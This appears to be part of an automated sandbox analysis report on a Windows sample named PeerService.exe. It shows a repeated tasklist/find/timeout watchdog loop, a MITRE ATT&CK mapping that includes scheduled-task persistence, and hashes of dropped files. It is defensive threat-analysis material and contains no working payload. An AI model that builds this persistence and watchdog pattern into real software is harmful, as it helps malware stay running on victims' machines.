- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4176
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4720
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:204
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4592
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3116
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3420
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2992
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1196
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4004
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3052
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4052
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4192
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1008
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2012
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4088
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3328
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2024
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:416
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:440
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:456
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1264
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4484
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4316
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4372
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4364
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1060
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1200
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4360
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2532
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2112
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1036
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4592
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3188
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4176
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4020
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3132
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1148
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3348
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3328
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2028
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3168
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2336
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1264
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4748
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3416
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4116
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3800
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3108
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4580
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1200
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4532

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 85f6b0971e94daf9fd4e39413824f162851a9f5ce7f989bd92c903a4dbcbef26
MD5 029fbf628b046653ab7ff10b31deeeb2
SHA1 93c2cb1905c8f5e71f5ea97a1e8a8c891eae077c
SHA512 d4e3626dba2572bd1e53446b384962f955cc0c7e56a72cacf50a845d74714ec1020bcb0fdcc50636a1dfd4f08dc34143dbb5638dd90180df6aa31dab9228c98c
TLSH
T192112227F38C8920CC96163A509DAC5172B586DB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bxlnpg5m.yxx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bxlnpg5m.yxx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 6.9MB
SHA256 005343a52fb0129cd44e374f1623af2dd4a043f0bf6fba076f8f2cc5919d3fde
MD5 782deeaa71cd6451dc76d2e67c4ff540
SHA1 72c6f82d5ea19ad4478285b7ce5926ef6733deee
SHA512 0489fd29be94a8bcc103818d2648b2364bcd406424506bd0a4e418a218617cecdbea4939fa13bce28c953a3ce6247eb5d0b41063e08272e1f8437e564166d3ae
SSDEEP 196608:s+hx9ekESByQyVG/uzGNVPByQyVG/uzGNVyAl3K8fCGP:L9egNSG/lVZNSG/lVrl3KEx
TLSH
T16E76016BB26901E8D1BFD17CC9065907EBB2780543A0A6CF12E046A62F73BE14F7E715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2884-27-0x000001C9479A0000-0x000001C9479C2000-memory.dmp

Download